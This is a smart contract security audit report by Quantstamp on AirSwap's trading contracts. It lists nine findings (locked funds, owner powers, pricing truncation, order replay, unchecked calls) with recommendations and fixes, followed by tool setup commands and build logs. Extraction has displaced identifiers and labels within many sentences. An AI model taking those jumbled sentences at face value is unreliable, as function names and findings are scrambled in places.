from the sender */ function _wrapEther(address senderToken, uint256 senderAmount) internal { if (senderToken == address(wethContract)) { // Ensure message value is param require(senderAmount == msg.value, "VALUE_MUST_BE_SENT"); // Wrap (deposit) the ether wethContract.deposit{value: msg.value}(); } else { // Ensure message value is zero require(msg.value == 0, "VALUE_MUST_BE_ZERO"); // Approve the swap contract to swap the amount IERC20(senderToken).safeApprove(address(swapContract), senderAmount); // Transfer tokens from sender to wrapper for swap IERC20(senderToken).safeTransferFrom( msg.sender, address(this), senderAmount ); } } /** * @notice Unwrap WETH into Ether * @param signerToken address Token of the signer * @param signerAmount uint256 Amount transferred from the signer */ function _unwrapEther(address signerToken, uint256 signerAmount) internal { if (signerToken == address(wethContract)) { // Unwrap (withdraw) the ether wethContract.withdraw(signerAmount); // Transfer ether to the recipient (bool success, ) = msg.sender.call{value: signerAmount}(""); require(success, "ETH_RETURN_FAILED"); } else { IERC20(signerToken).safeTransfer(msg.sender, signerAmount); } } }
February 3rd 2020— Quantstamp Verified AirSwap This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Peer-to-Peer Trading Smart Contracts Auditors Ed Zulkoski , Senior Security EngineerKacper Bąk , Senior Research EngineerSung-Shine Lee , Research EngineerTimeline 2019-11-04 through 2019-12-20 EVM Constantinople Languages Solidity, Javascript Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification AirSwap Documentation Source Code Repository Commit airswap-protocols b87d292 Goals Can funds be locked in the contracts? •Are funds properly exchanged when a swap occurs? •Do the contracts adhere to Solidity best practices? •Changelog 2019-11-20 - Initial report •2019-11-26 - Revised report based on commit •bdf1289 2019-12-04 - Revised report based on commit •8798982 2019-12-04 - Revised report based on commit •f161d31 2019-12-20 - Revised report based on commit •5e8a07c 2020-01-20 - Revised report based on commit •857e296 Overall AssessmentThe AirSwap smart contracts are well- documented and generally follow best practices. However, several issues were discovered during the audit that may cause the contracts to not behave as intended, such as funds being to be locked in contracts, or incorrect checks on external contract calls. These findings, along with several other issues noted below, should be addressed before the contracts are ready for production. Fluidity has addressed our concerns as of commit . Update:857e296 as the contracts in are claimed to be direct copies from OpenZeppelin or deployed contracts taken from Etherscan, with minor event/variable name changes. These files were not included as part of the final audit. Disclaimer:source/tokens/contracts/ Total Issues9 (7 Resolved)High Risk Issues 1 (1 Resolved)Medium Risk Issues 2 (2 Resolved)Low Risk Issues 4 (3 Resolved)Informational Risk Issues 2 (1 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged the issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Summary of Findings ID Description Severity Status QSP- 1 Funds may be locked if is called multiple times setRuleAndIntent High Resolved QSP- 2 Centralization of Power Medium Resolved QSP- 3 Integer arithmetic may cause incorrect pricing logic Medium Resolved QSP- 4 success should not be checked by querying token balances transferFrom()Low Resolved QSP- 5 does not check that the contract is correct isValid() validator Low Resolved QSP- 6 Unchecked Return Value Low Resolved QSP- 7 Gas Usage / Loop Concerns forLow Acknowledged QSP- 8 Return values of ERC20 function calls are not checked Informational Resolved QSP- 9 Unchecked constructor argument Informational - QuantstampAudit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: • Maian• Truffle• Ganache• SolidityCoverage• Mythril• Truffle-Flattener• Securify• SlitherSteps taken to run the tools: 1. Installed Truffle:npm install -g truffle 2. Installed Ganache:npm install -g ganache-cli 3. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 4. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 5. Flattened the source code usingto accommodate the auditing tools. truffle-flattener 6. Installed the Mythril tool from Pypi:pip3 install mythril 7. Ran the Mythril tool on each contract:myth -x path/to/contract 8. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 9. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 10. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 11. Installed the Slither tool:pip install slither-analyzer 12. Run Slither from the project directoryslither . Assessment Findings QSP-1 Funds may be locked if is called multiple times setRuleAndIntent Severity: High Risk Resolved Status: , File(s) affected: Delegate.sol Indexer.sol The function sets the stake of the delegate owner in the contract by transferring staking tokens from the user to the indexer, through the contract. However, if the function is called a second time, the underlying will only transfer a partial amount of the total transferred tokens (i.e., the delta of the previously set intent value versus the currently set intent value). Since the behavior of the and the differ in this regard, tokens can become stuck in the Delegate. Description:Delegate.setRuleAndIntent Indexer Delegate Indexer.setIntent Delegate Indexer This is elaborated upon in issue . 274Ensure that the token transfer logic of and are compatible. Recommendation: Delegate.setRuleAndIntent Indexer.setIntent This issue has been fixed as of pull request . Update 277 QSP-2 Centralization of PowerSeverity: Medium Risk Resolved Status: , File(s) affected: Indexer.sol Index.sol Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. However, this centralization of power needs to be made clear to the users, especially depending on the level of privilege the contract allows to the owner. Description:owner In particular, the owner may the contract locking funds forever. Since the function does not send any of the transferred tokens out of the contract, all tokens will remain permanently locked in the contract if not previously removed by users. selfdestructkillContract() The platform can censor transaction via : whenever an intent is set, the owner can just unset it. It is also not easy to see if it is the owners who did this, as the event emitted is the same. unsetIntentForUser()The owner may also permanently pause the contract locking funds. Users should be made aware of the roles and responsibilities of Fluidity as a central authority to these contracts. Consider removing the function if it is not necessary. As the function is intended to assist users during the contract being paused, it may be sensible to add the modifier to ensure it is not doing censorship. Recommendation:killContract() unsetIntentForUser() paused This has been fixed by removing the pausing functionality, , and . Update: unsetIntentForUser() killContract() QSP-3 Integer arithmetic may cause incorrect pricing logic Severity: Medium Risk Resolved Status: File(s) affected: Delegate.sol On L233 and L290, we have the following two conditions that relate sender and signer order amounts: Description: L233 (Equation "A"): •order.sender.param == order.signer.param.mul(10 ** rule.priceExp).div(rule.priceCoef) L290 (Equation "B"): •signerParam = senderParam.mul(rule.priceCoef).div(10 ** rule.priceExp); Due to integer arithmetic truncation issues, these two equations may not relate as expected. Consider the case where: rule.priceExp = 2 •rule.priceCoef = 3 •For Equation B, when senderParam = 90, we obtain due to integer truncation. signerParam = 90 * 3 // 100 = 2 However, when plugging back into Equation A, we obtain (which doesn't equal the expected value of 90`. 2 * 100 // 3 = 66 This means that if the signerParam is calculated by the logic in Equation B, it would not pass the requirement of Equation A. Consider adding checks to ensure that order amounts behave correctly with respect to these two equations. Recommendation: This is fixed as of the latest commit. In particular, the case where the signer invokes , and then the values are plugged into should work as intended. Update:_calculateSenderParam() _calculateSignerParam() QSP-4 success should not be checked by querying token balances transferFrom() Severity: Low Risk Resolved Status: File(s) affected: Swap.sol On L349: is a dangerous equality. Although this will hold for most ERC20 tokens, the specification does not guarantee that the external ERC20 contract will adhere to this condition. For example, the token could mint or burn tokens upon a for various reasons. Description:require(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); transfer() We recommend removing this balance check require-statement (along with the assignment on L343), and instead wrap L346 in a require-statement, as discussed in the separate finding "Return values of ERC20 function calls are not checked". Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: 